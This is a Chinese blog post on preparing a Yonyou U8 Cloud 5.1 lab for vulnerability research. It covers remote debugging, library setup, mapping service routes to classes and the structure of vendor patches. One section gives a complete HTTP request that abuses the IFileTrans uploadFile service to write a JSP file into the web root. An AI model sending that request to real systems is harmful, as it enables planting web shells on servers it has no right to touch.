前言 在配环境时踩了很多坑,尤其时调试的时候。这里把遇到的问题都记录一下,希望能给大家一点帮助。
安装 某鱼上收一个最新版本的就行,我收的是5.1的。收最新环境是为了之后挖洞,挖洞一般挑最新版本,这样挖到的洞适用性更广。以下说明均基于5.1版本。
收到的一般是一份数据库文件和一个安装包。我数据库用的是sql server 2016 数据库怎么初始化,收到的网盘里一般都会自带,再结合网上sql server的教程,应该能够自己解决。
这里建议把环境安装到虚拟机里,这样方便快照保存,同时以后换电脑也方便迁移。缺点是会多占用磁盘,而且还需要把各种lib从虚拟机里复制出来供远程调试使用。
注意,安装时的端口一定要选择一个不冲突的。
安装完成后,可以通过一个payload测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /service/esnserver HTTP/1.1 Host : 127.0.0.1:8051Cache-Control : max-age=0sec-ch-ua : "Not A(Brand";v="8", "Chromium";v="132"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Token : 469ce01522f64366750d1995ca119841Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentAccept-Encoding : gzip, deflate, brCookie : JSESSIONID=5AA7B7EB80F78BE269D5AEBE3ABE36FC.serverIf-None-Match : W/"1215-1692092838000"If-Modified-Since : Tue, 15 Aug 2023 09:47:18 GMTConnection : keep-aliveContent-Type : application/x-www-form-urlencodedContent-Length : 239{"invocationInfo" :{"ucode" :"123" ,"dataSource" :"U8cloud" ,"lang" :"en" },"method" :"uploadFile" ,"className" :"nc.itf.hr.tools.IFileTrans" ,"param" :{"p1" :"shelltext" ,"p2" :"webapps/u8c_web/test1234.jsp" },"paramType" :["p1:[B" ,"p2:java.lang.String" ]}
这里会在/webapps/u8c_web/test1234.jsp创建一个空文件,如果能成功的话,说明环境没问题。
远程调试 这里就比较坑,我原本是在startup.bat里添加命令行参数,启动时控制台确实显示监听,且idea远程调试也能连接上。但是就是无法在断点处停下。后面问了Killer师傅才知道,原来不是在startup.bat里改,而是在”D:\U8CERP\ierp\bin\prop.xml”里修改:
当然,也可以直接复制启动参数,然后在cmd里加上调试参数去手动启动:
这一点真实非常坑,差点让我出师未捷身先死。
库文件添加 u8cloud里需要添加的库文件很多,包括external,framework,lib,langlib,middleware,modules,nmc等文件夹。而且有些文件夹不是直接添加就好了,你还得一层层打开,然后添加里面的lib目录,很是麻烦。
所以这里我让AI帮我写了脚本,把所有.jar和classes目录都复制到了一个文件夹下,这样直接添加就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 @echo off setlocal enabledelayedexpansion rem Source and destination paths set "SRC=D:\U8CERP" set "DEST=D:\U8CERP\alllibs" rem Create destination directory if it does not exist if not exist "%DEST%" ( mkdir "%DEST%" ) rem Copy all .jar files echo Copying all .jar files from %SRC% to %DEST% ... for /r "%SRC%" %%f in (*.jar) do ( echo Copying: %%f copy "%%f" "%DEST%" >nul ) rem Copy all "classes" folders recursively echo Copying all "classes" folders from %SRC% to %DEST% ... for /r "%SRC%" %%d in (classes) do ( if exist "%%d" ( echo Copying folder: %%d xcopy "%%d" "%DEST%\classes" /e /i /y >nul ) ) echo All files copied successfully. pause
也可以直接修改后缀,这样就能复制.xml等文件到一起。
但是这样有一个问题,就是你在idea里调试,想要查看这个jar是属于哪个文件夹时,就需要复制jar包名称,然后通过everything等工具查找,找到对应的位置。
不过你也可以让AI写另一个脚本,让它把各个文件夹里的jar包写成idea中xml的格式。因为idea的库实际上是以xml的形式存储的:
不过个人觉得还是第一种更方便。
最后记得在模块-依赖里把刚刚添加的库勾选上,不然全局搜索会搜不到:
部分路由映射关系 webapps/u8c_web/web.xml 里有一部分servlet映射。
u8cloud里的一部分路由,是通过InvokerServlet的方式来动态加载的。这是web.xml里决定的:
而怎么Invoke具体的Servlet,这是由配置文件决定的”D:\U8CERP\modules\uap\META-INF”,这里面所有的.upm记录了映射关系:
可以用上面的脚本把所有的upm文件复制到一起。
也可以在这里打断点:
然后访问/service/esnserver
然后运行表达式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ComponentMeta[] componentMetas = publicRepo.getComponentMetas(); HashMap<Object, Object> hashMap = new HashMap <>(); for (int i = 0 ; i < publicRepo.getCount(); i++) { try { String name = componentMetas[i].getName(); ComponentMeta meta = componentMetas[i]; Instantiator raw = ((ComponentMetaImpl) meta).getRawInstantiator(); Field f = raw.getClass().getDeclaredField("implementation" ); f.setAccessible(true ); Class o = (Class) f.get(raw); String clazzName = o.getName(); hashMap.put(name, clazzName); }catch (Exception e) { } } String filePath = "D:/U8CERP/map_output.txt" ;try { BufferedWriter writer = new BufferedWriter (new FileWriter (filePath)); for (Map.Entry<Object, Object> entry : hashMap.entrySet()) { writer.write("urlName-/service/" +entry.getKey() + ": className-" + entry.getValue()); writer.newLine(); } }catch (Exception e) { }
这样就能把url和class的映射关系全都打印出来了。
可以直接到我的仓库下载:
MyJavaSecStudy/CodeAudit/用友U8cloud at main · 1diot9/MyJavaSecStudy
补丁分析 去官网能搜索到补丁:https://security.yonyou.com/#/patchList
补丁一般是这样的目录结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | installpatch.xml | packmetadata.xml | readme.txt | \---replacement +---external | \---classes | \---nc | \---bs | \---framework | \---server | \---token | TokenUtil$TokenUtilHolder.class | TokenUtil.class | +---ierp | \---bin | \---token | trustServiceList.conf | \---modules \---hrpub \---META-INF \---classes \---nc \---impl \---hr \---tools \---trans FileTransImpl.class
位于classes和META-INF中的.class文件优先级更高,这样web应用启动时就会选择最新的类,从而打上补丁。
ierp里都是配置文件,比如白名单之类的。